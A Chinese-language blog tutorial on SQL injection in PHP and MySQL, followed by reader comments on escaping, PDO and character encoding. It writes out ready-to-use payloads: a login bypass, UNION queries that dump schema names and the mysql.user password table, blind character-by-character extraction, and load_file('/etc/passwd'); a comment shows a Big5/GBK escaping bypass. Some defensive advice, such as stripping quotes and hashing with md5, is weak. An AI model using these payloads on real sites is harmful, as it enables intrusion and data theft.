2011
Feb
03

Sql Injection 应该可以说是目前网路上,骇客最常用的攻击方式,因为攻击方式简单,又不需要使用任何软体,或是自行撰写程式。讲到 SQL,就要提到资料库,大多数的网站都会安装资料库伺服器(Database),其实 Database 并不是什么可怕的东西,Database 的功能就是将资料依序储存下来,然后以最快的速度,找出你想要的资料,而在寻找资料之前,你必须输入 Database 指令,你输入的这串指令,我们就称为 SQL 语法。

Sql Injection 就是指 SQL 语法上的漏洞,藉由特殊字元,改变语法上的逻辑,骇客就能取得资料库的所有内容,当然也包含了会员的帐号,密码,下面就举一个SQL登入漏洞:

一个有会员登入功能的网站,都会需要输入帐号与密码来进行验证

而后端程式,如 PHP 就必需支援相关的登入检查,判定 User 输入的帐号、密码是否正确,来确定登入是否成功 ,PHP 执行的 SQL 语法如下,这是一个简单的 SQL 语法,主要功能是从 members 这个资料表中,取出符合 User 所输入帐号与密码的会员资料。

select * from members where account='$name' and password='$password'

但若是骇客输入有特殊字元的帐号:「 ' or 1=1 /* 」,密码:「任意值」

这时SQL语法就会变成:

select * from members where account='' or 1=1 /*' and password=''

因为「/*」在 MySQL 语法中代表注解的意思,所以「/*」后面的字串通通没有执行,而这句判断式「1=1」永远成立,骇客就能登入此网站成功。

SQL 语法的注解

SQL 注解的语法有以下三种,不同的 SQL 版本,会吃不同的语法。

  • /*」 MySQL
  • --」 MsSQL
  • #」 MySQL , # 对於 browser 来说是有意义的,那是锚点的意思,所有必须先透过 Url Encode 后的代码 「%23」 来代替。

防护方式

Sql Injection攻击很简单,不过防护也不难,只要过泸字串「'」,即可,当然如果你的SQL语法写得很糟,保险的做法是过泸「' " 」等字串,并检查变数型态「数字、字元、字串」,另外会员的密码最好是经过加密,如 md5 或 Double md5 演算法加密,这样就能避免资料外泄时,密码也同时外泄,还有要特别注意,md5 目前已经有破解方式,改用 mcrypt 会是更好的加密方式。

PHP 过泸 SQL Injection 的语法:

$name = preg_replace("/[\'\"]+/" , '' ,$name);
另一种过泸方式
  1. $str = "'\"";
  2. $replace = array("'" => "& #39;", "\"" => "& quot;"); //请自已把 & # , & q 中间的空白移除
  3. $str = strtr($str, $replace);

Sql Injection的攻击方式会因不同的资料库而有不同的语法, 如 MsSQL的注解是用 「--」MySQL的另一个注解是用 「#」。

SQL Injection 攻击

取得 Table name

如果网站连接 database 使用的帐号,有权限读取 INFORMATION_SCHEMA database,这样就能直接搜寻任何一个 table 名称,如

  • [Oracle]: or EXISTS(SELECT 1 FROM dual WHERE database() LIKE '%xxx%') AND ''='
  • [MySQL]: or EXISTS(SELECT * FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA like '%xxxx%') AND ''='
  • union select%20host,user,password fROM mysql.user limit 1,1#
  • union select engine, table_rows, table_name from INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA not in ('information_schema') limit 1,1#
  • union select host,db,user from mysql.db limit 1,1 #

取得所有资料库名称

  • sqlInjection.php?id=1' union select distinct table_schema from information_schema.tables;
  • sqlInjection.php?id=1' union select group_concat(table_schema) from information_schema.tables;

取得所有资料表名称

  • sqlInjection.php?id=1' union select group_concat(table_name) from information_schema.tables--

一般来说,information_schema 这个资料库是没有权限读取的,尤其是市面上常见的虚拟主机,大部分的虚拟主机只能使用伺服器给的控制台来新增资料库,没办法透过程式读取所有的资料库,这时骇客们会开始用猜的方式,来取得资料表的名称,例如会员资料常会使用的 table 名称为 users , members 等等。

猜测 table name 的 SQL Injection 如下,使用 or exists(select 1 from members);

  • sqlInjection.php?id=1' or exists(select 1 from members)/*
  • sqlInjection.php?id=1' or exists(select 1 from admin)%23
  • sqlInjection.php?id=1' or exists(select 1 from products)--

暴力猜测 Table Name

资料表的名称不一定都是英文单字,有些工程师会使用怪怪的命名,这时骇客还是可以使用暴力破解的方式,将 Table Name 拼出来。

SQL 有个 function : substring ,这个功能可以对字串做切割,骇客可以先将「字串」切割成一个字元。

接著使用 ord 将字元转成 Ascii Code ,然后去比对他的 Ascii Code 是否 = 32~ 127 , a = 97, b = 98

看一个范例,我要比对 information_schema.tables 第一笔资料的第一个 table_name ,其中的第一个字元。
  • id=1' and 97=(select ord(substring(table_name, 1,1) from information_schema.tables limit 0,1)--
  • id=1' and 98=(select ord(substring(table_name, 1,1) from information_schema.tables limit 0,1)--
  • id=1' and 99=(select ord(substring(table_name, 1,1) from information_schema.tables limit 0,1)--


再看一个范例,我要比对 information_schema.tables 第一笔资料的第一个 table_name ,其中的第二个字元。
  • id=1' and 97=(select ord(substring(table_name, 2,1) from information_schema.tables limit 0,1)--
  • id=1' and 98=(select ord(substring(table_name, 2,1) from information_schema.tables limit 0,1)--
  • id=1' and 99=(select ord(substring(table_name, 2,1) from information_schema.tables limit 0,1)--

取得 MySQL 资料库相关讯息

取得连线帐号 user()

  • sqlInjection.php?id=1' select 1,2,user()/*

取得 Mysql 版本 version()

  • sqlInjection.php?id=1' select 1,2,version()/*

读取系统档案内容

透过 mysql 的 method 「load_file」,骇客就能轻易取得网站的档案内容。

  • union select 1,2,load_file('/etc/passwd')

使用 PDO 防止 SQL Injection

http://us3.php.net/manual/en/book.pdo.php

PDO 是一个可以 query 资料库的程式,我们能够透过 PDO 连到 Mysql server,重要的是 PDO 有提供 SQL Injection 的防护机制,使用 bindValue 的方式,PDO 会自动检查数据格式,并转换特殊字元,再将 User Input 填入 SQL 语法中。

PDO 使用方式
  1. $db = new PDO ("mysql:dbname=test;host=localhost;port=3306", 'username', 'password', array( PDO::MYSQL_ATTR_INIT_COMMAND => 'SET NAMES \'UTF8\''));
  2.  
  3. $sth = $db->prepare('select * from table where id =:id and title= :title ');
  4.  
  5. $sth->bindValue(':id', $_GET['id'], PDO::PARAM_INT);
  6.  
  7. $sth->bindValue(':title', $_GET['title'], PDO::PARAM_STR);
  8.  
  9. $sth->execute();
  10. $sth->fetch(PDO::FETCH_ASSOC);
  • PDO::PARAM_INT 数字
  • PDO::PARAM_STR 字串

相关教学下载


目前回應 Comments(15 comments)

  • 狼圖騰 2016/11/29

    回覆你的留言

    我覺得兩個都可以做 (跳脫函式或bind + NCR)

    即使 NCR 那邊達到跳脫的效果,至少有幾點是比較好的:

    1. 你有照文件的規格去寫。就像你開發的東西也希望別人照你的方式去寫一樣。
    2. NCR 與此函式並不衝突。

    -----------------------------
    文件那邊的
    $name = preg_replace("/['"]+/" , '' ,$name);
    其實也最好改用 mb_ereg_replace...
    UTF-8 其實是不會出事, big5 專案怕的是中文字含有單引號或雙引號的 ascii 碼就這樣被拆掉了

    Reply

    Admin

    感謝提醒,我比較少考慮 Big5 的問題,因為我一接觸程式沒多久,UTF-8 就已經出現了,為了處理許功蓋先生留下的問題,我開發的程式,都已經全面使用 UTF-8 ,目前傾向開發人員不要再使用 Big5 編碼的文件/資料庫,最好是都改用 UTF-8 ,這樣可以減少很多編碼的問題。

  • 狼圖騰 2016/09/21

    不管是不是 PDO, PHP 資料庫都有提供一個函式提供跳脫
    一定要呼叫那個函式 (例如使用 mysql_connect 的相關函式就是 mysql_real_escape_string, PDO 的話就是本文寫的 bindParam 或是 $dbh->quote 函式)
    其實有二個很重要的理由如下

    1. 跳脫規則會隨著資料庫類型改變
    MySQL 使用 ' 跳脫,其它資料庫使用 '' 跳脫。使用相關函式會幫你改變相對應規則。

    2. PHP 的字元類型實際上是 bytes 類型,資料庫字元類型實際上是真的字元類型

    試試下面的程式碼 (此例子為 big5 或是 gbk 編碼環境,不適用於 UTF-8)

    header('Content-Type: text/plain; charset=big5');
    echo addslashes("xbfx27"); // 企圖將所有 單引號、雙引號、反斜述 前面加上反斜線以跳脫問題
    // 結果會印出 璞'

    問題在於 PHP 的字元型態是 bytes, 對於 xbfx27 會把它當成兩個字看。然後跳脫完成變成 xbfx5cx27
    送進資料庫時,xbfx5c 為一個字元 (因為 big5 或是 gbk 編碼),不會把後面的 x5c (反斜線) 當成脫跳字元看待。然後後面的 x27 ('單引號) 就很神奇的發揮作用了
    --------------------------------------

    可能還有其它的問題,我想表達的是,
    資料庫函式一定有提供一個函式來解決注入問題。

    請各位不要自己自作聰明開發相對應方法,
    確實看清楚資料庫文件手冊並確實地呼叫這些對應函數。
    (如果你有用 PHP Framework 的話一樣要看清楚相對應手冊)

    Reply

    Admin

    官方提供的方式也不一定安全,有些狀況,官方會認為開發人員自已也要懂 Security ,工程師自已製造的洞,官方也不會理你的 ,像跳脫字元,我個人就覺得是一個很不安全的處理方式,如果你存了一個 (跳脫字元+雙引號) 進資料庫,那麼你再用 SQL Query 從資料庫拿出來,最後你拿到的資料到底是什麼?,還有你後續對這筆資料的處理也要非常小心,因為他存在 " 雙引號,這些都增加了軟體工程師的負擔,每寫一行 code ,都要思考各種極端狀況。

     

    我的文章會提到 NCR ,直接把 " ' 轉成 &#xxx; 這種 NCR 格式,就是不希望後端工程師在做資料處理的時候,還會遇到單/雙引號的問題,而 NCR 在網頁上的顯示會是正常的單/雙引號,所以並不會影響到用戶,這招算是比較爆力的解法,當然直接轉 NCR 這個方法是有些限制的,例如你要確認後端的資料搜尋是否需要支援單/雙引號  ( ' 會影響到搜尋 39 這個數字的結果)。 

  • 2016/02/15

    更正~

    原資料庫的設定為 latin1, 要把資料全數轉到 utf8 的資料庫

    Reply

    Admin

    資料庫設定 latin1 ,不代表你存進去的文字編碼就是 latin1 ,有可能你存進去的文字其實是 Big5 編碼。

     

    可以先用 mysqldump  把資料表內容存在一個檔案裡:

    例如:  mysqldump -hlocalhost -uroot --add-drop-database --database test --table book --default-character-set=latin1 -p > tmp 

    再來編輯 tmp 檔案,將所有的 CHARSET=latin1 改成 CHARSET=utf8

     

    接著你要先檢查你存進資料庫的中文字到底是 Big5 還是 UTF8 編碼,確定編碼方式後,才能執行下面的編碼轉換:

    如果你的中文是用 Big5 存進 latin1 資料庫,那麼你要用指令  iconv -f big5 -t utf8 tmp > new.sql  來轉換文字編碼,我猜你的資料庫應該會是這一種。

     
     
    轉換完成後, new.sql 這個檔案就會是 UTF8 編碼的 SQL 語法 ,重新匯入資料庫即可,

    mysql -hlocalhost -uroot --default-character-set=utf8 "test" -p < new.sql 
     
     
     
    另外  PHP Query MySql 前,都要先設定 UTF8 編碼: query("SET NAMES utf8");   。
     
     
     

  • 2016/02/15

    不好意思, 在這問其他類型問題, 還請高人指點!!
    請問, 要如何將原編碼為 big5的資料庫轉到另一編碼為 utf8的資料庫?

  • 2016/01/03

    請問~
    使用此方法是否會讓頁面跑的比較慢?
    另外, 是否需要將如 $query = $db->prepare(""); 的 $query 關閉?
    還有, 是否也需要在結尾也將開啟的資料庫也關閉, 如設定 $query = null;

    Reply

    Admin

    1. 頁面跑的慢不慢跟 SQL 語法寫得好不好比較有關系, PDO 不會影響太多效能。
     

    這篇文章有 PDO 效能測試的數據

    http://archive.jnrbsn.com/2010/06/mysqli-vs-pdo-benchmarks

     

    2. 一般的用法 PDO 是要關閉,用 $dbh = null ,但是如果使用 persistent connections 就可以不用關閉。

    $dbh = new PDO('mysql:host=localhost;dbname=test'$user$pass, array(
        
    PDO::ATTR_PERSISTENT => true
    ));

  • 2015/12/25

    上次的問題解決了, 謝謝@@

    又來請教了!!

    $num_float = "2.5";

    其中要存入的資料是浮動變數, 那 PDO::PARAM_INT 是否正確?

    $updods->bindParam(1, $num_float, PDO::PARAM_INT);

    Reply

    Admin

    PDO 沒有支援浮點數的處理,所以要用這種寫法:
     
    $num_float = strval($num_float);
     
    $updods->bindParam(1, $num_float, PDO::PARAM_STR);
     
     

  • 2015/12/22

    不好意思, 又來打擾了!!

    在網路上有看到要讀取資料的筆數寫法如下:

    $sth=$db->prepare("select count(*) from product where id=2");
    $sth->execute();
    $rowCount=$sth->fetchColumn();

    但依此法試了, 仍無法讀取筆數???

    Reply

    Admin

    這只是單純的 SQL 語法,語法本身看起來沒問題,程式的部分我有幫你測試過,也是正常的。

    如果 id = 2 有一筆資料,那麼 $rowCount 會得到 1 

     

    不過你是不是要用這個 SQL 語法   select count(*) from product  ,才能拿到整個 table  的筆數。

     

  • 菲希雅 2015/12/15

    請問~

    $query = $db->prepare("select title,con from table where title like ?");

    當中有使用 like , 值要怎麼帶入?

    Reply

    Admin

    第一個 ? 代表 index 1 , 第二個 ? 代表 index 2, bindValue 的時候使用數字  1, 2, 3, 4 即可

     

    範例如下:

    $query = $db->prepare("select title,con from table where title like ?");

    $query->bindValue(1, '%xxxxx%', PDO::PARAM_STR);

     

  • 2015/11/26

    再請問, 有在網路上看到寫 "PHP 5.1以後才可以用PDO", 那我們的版本是 4, 不就不能使用了?

    Reply

    Admin

    網路上可以查到 PHP 4 用的 PDO 版本

    例如 : http://www.phpclasses.org/package/2572-PHP-PDO-database-abstraction-interface-for-PHP-4.html

  • 2015/11/26

    但如果php的版本是4, 直接用 intval() 或 addslashes() 囉?

    Reply

    Admin

    建議用這種方式,直接把單引號、雙引號轉成 numeric character reference (NCR) ,

     

    $str = "'"";

    $replace = array("'" => "&#39;", """ => "&quot;");

    $str = strtr($str, $replace);

     

    或是用文章中提到的 PDO Library http://php.net/manual/en/book.pdo.php 

  • charles 2014/06/25

    目前所知許多網站相關的SQL注入弱點都已經防堵了,請問一下你有相關的免費測試軟體(SQL注入)
    或網站資源可提供測試嗎?

    Reply

    Admin

  • charles 2014/06/03

    請問一下,aspx SQL Injection 的手法如何? 可提供相關的經驗並且介紹一下嗎?謝謝!!

    Reply

    Admin

    Database 有很多種,一種是  Mysql 常搭配 apache 一起使用,還有一種是 Mssql 常搭配  IIS , asp 一起使用,我想你問的是 Mssql 的 SQL Injection 吧? 

    其實這兩個  Database ,攻擊方式大同小異,我並沒有特別為 Mssql 去做深入研究。

  • Volar 2014/02/22

    學習了!!!

  • George 2013/11/07

    我之前學習相關課程時,就在一些知名網站試過類似的SQL Injection,有個大網站還真的被入侵成功了,我寄e-mail去通知他們,結果他們竟然沒有理會= =+,一直到現在還是一樣~這些人對資安的觀念實在是無言...

    Reply

    Admin

    不要怪他們!! 台灣在這方面還蠻落後的, 我也曾經年少不懂事過,寫過很多有漏洞的程式,這幾篇文章,是希望大家對於網頁安全性方面能夠有所提升。

  • 版大你好 2013/11/06

    版大對於SQL注入 整理的不錯
    不過 可否請問一下 如何知道 上面輸入的指令碼
    交給資料庫時 又是如何解釋? (我非常想要知道)
    可以自己安裝資料庫,自己測試嗎?
    我想每個資料庫 對於指令碼的解釋 應該會不同
    還有最後一點 我也想要知道 SQL注入是否可以完全過濾掉?

    Reply

    Admin

    1. 安裝資料庫並不難,在 windows 下,你可以安裝 xampp + phpmyadmin,就可以透過 Browser 去操作 SQL 語法。


    2. SQL Injection 是否可以完全過瀘的問題,我建議你可以使用 PDO Library ,並按照 PDO bindValue 的方式,組合出正確的 SQL 語法,當然我只能跟你說,
    這個方式有 99.99% 是安全的,留下 0.01 % 是因為這世界上的頂極駭客是我無法想像的。

回應 (Leave a comment)